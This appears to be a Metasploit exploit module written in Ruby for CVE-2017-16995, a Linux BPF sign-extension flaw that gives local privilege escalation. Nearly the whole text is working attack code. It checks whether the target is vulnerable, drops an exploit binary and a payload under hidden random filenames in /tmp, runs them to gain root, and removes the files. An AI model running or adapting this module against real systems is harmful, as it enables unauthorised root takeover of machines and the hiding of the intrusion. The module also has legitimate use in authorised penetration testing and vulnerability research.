Linux BPF Sign Extension Local Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GreatRanking  
  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Post::Linux::Kernel  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Linux BPF Sign Extension Local Privilege Escalation',  
'Description' => %q{  
Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF)  
which contains a vulnerability where it may improperly perform sign  
extension. This can be utilized to escalate privileges.  
  
The target system must be compiled with BPF support and must not have  
kernel.unprivileged_bpf_disabled set to 1.  
  
This module has been tested successfully on:  
  
Debian 9.0 kernel 4.9.0-3-amd64;  
Deepin 15.5 kernel 4.9.0-deepin13-amd64;  
ElementaryOS 0.4.1 kernel 4.8.0-52-generic;  
Fedora 25 kernel 4.8.6-300.fc25.x86_64;  
Fedora 26 kernel 4.11.8-300.fc26.x86_64;  
Fedora 27 kernel 4.13.9-300.fc27.x86_64;  
Gentoo 2.2 kernel 4.5.2-aufs-r;  
Linux Mint 17.3 kernel 4.4.0-89-generic;  
Linux Mint 18.0 kernel 4.8.0-58-generic;  
Linux Mint 18.3 kernel 4.13.0-16-generic;  
Mageia 6 kernel 4.9.35-desktop-1.mga6;  
Manjero 16.10 kernel 4.4.28-2-MANJARO;  
Solus 3 kernel 4.12.7-11.current;  
Ubuntu 14.04.1 kernel 4.4.0-89-generic;  
Ubuntu 16.04.2 kernel 4.8.0-45-generic;  
Ubuntu 16.04.3 kernel 4.10.0-28-generic;  
Ubuntu 17.04 kernel 4.10.0-19-generic;  
ZorinOS 12.1 kernel 4.8.0-39-generic.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Jann Horn', # Discovery  
'bleidl', # Discovery and get-rekt-linux-hardened.c exploit  
'vnik', # upstream44.c exploit  
'rlarabee', # cve-2017-16995.c exploit  
'h00die', # Metasploit  
'bcoles' # Metasploit  
],  
'DisclosureDate' => 'Nov 12 2017',  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [[ 'Auto', {} ]],  
'Privileged' => true,  
'References' =>  
[  
[ 'AKA', 'get-rekt-linux-hardened.c' ],  
[ 'AKA', 'upstream44.c' ],  
[ 'BID', '102288' ],  
[ 'CVE', '2017-16995' ],  
[ 'EDB', '44298' ],  
[ 'EDB', '45010' ],  
[ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ],  
[ 'URL', 'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ],  
[ 'URL', 'http://cyseclabs.com/pub/upstream44.c' ],  
[ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ],  
[ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ],  
[ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ],  
[ 'URL', 'https://usn.ubuntu.com/3523-2/' ],  
[ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ],  
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ],  
[ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'],  
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ]  
],  
'DefaultTarget' => 0))  
register_options [  
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
]  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
rm_f path  
write_file path, data  
end  
  
def upload_and_chmodx(path, data)  
upload path, data  
cmd_exec "chmod +x '#{path}'"  
end  
  
def upload_and_compile(path, data)  
upload "#{path}.c", data  
  
gcc_cmd = "gcc -o #{path} #{path}.c"  
if session.type.eql? 'shell'  
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"  
end  
output = cmd_exec gcc_cmd  
rm_f "#{path}.c"  
  
unless output.blank?  
print_error output  
fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."  
end  
  
cmd_exec "chmod +x #{path}"  
end  
  
def exploit_data(file)  
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', file  
fd = ::File.open path, 'rb'  
data = fd.read fd.stat.size  
fd.close  
data  
end  
  
def live_compile?  
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')  
  
if has_gcc?  
vprint_good 'gcc is installed'  
return true  
end  
  
unless datastore['COMPILE'].eql? 'Auto'  
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'  
end  
end  
  
def check  
arch = kernel_hardware  
unless arch.include? 'x86_64'  
vprint_error "System architecture #{arch} is not supported"  
return CheckCode::Safe  
end  
vprint_good "System architecture #{arch} is supported"  
  
if unprivileged_bpf_disabled?  
vprint_error 'Unprivileged BPF loading is not permitted'  
return CheckCode::Safe  
end  
vprint_good 'Unprivileged BPF loading is permitted'  
  
release = kernel_release  
if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') ||  
Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0')  
vprint_error "Kernel version #{release} is not vulnerable"  
return CheckCode::Safe  
end  
vprint_good "Kernel version #{release} appears to be vulnerable"  
  
CheckCode::Appears  
end  
  
def exploit  
unless check == CheckCode::Appears  
fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!'  
end  
  
if is_root?  
fail_with Failure::BadConfig, 'Session already has root privileges'  
end  
  
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
# Upload exploit executable  
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"  
executable_path = "#{base_dir}/#{executable_name}"  
if live_compile?  
vprint_status 'Live compiling exploit on system...'  
upload_and_compile executable_path, exploit_data('exploit.c')  
else  
vprint_status 'Dropping pre-compiled exploit on system...'  
upload_and_chmodx executable_path, exploit_data('exploit.out')  
end  
  
# Upload payload executable  
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"  
upload_and_chmodx payload_path, generate_payload_exe  
  
# Launch exploit  
print_status 'Launching exploit ...'  
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path} "  
output.each_line { |line| vprint_status line.chomp }  
print_status "Cleaning up #{payload_path} and #{executable_path} ..."  
rm_f executable_path  
rm_f payload_path  
end  
end  
`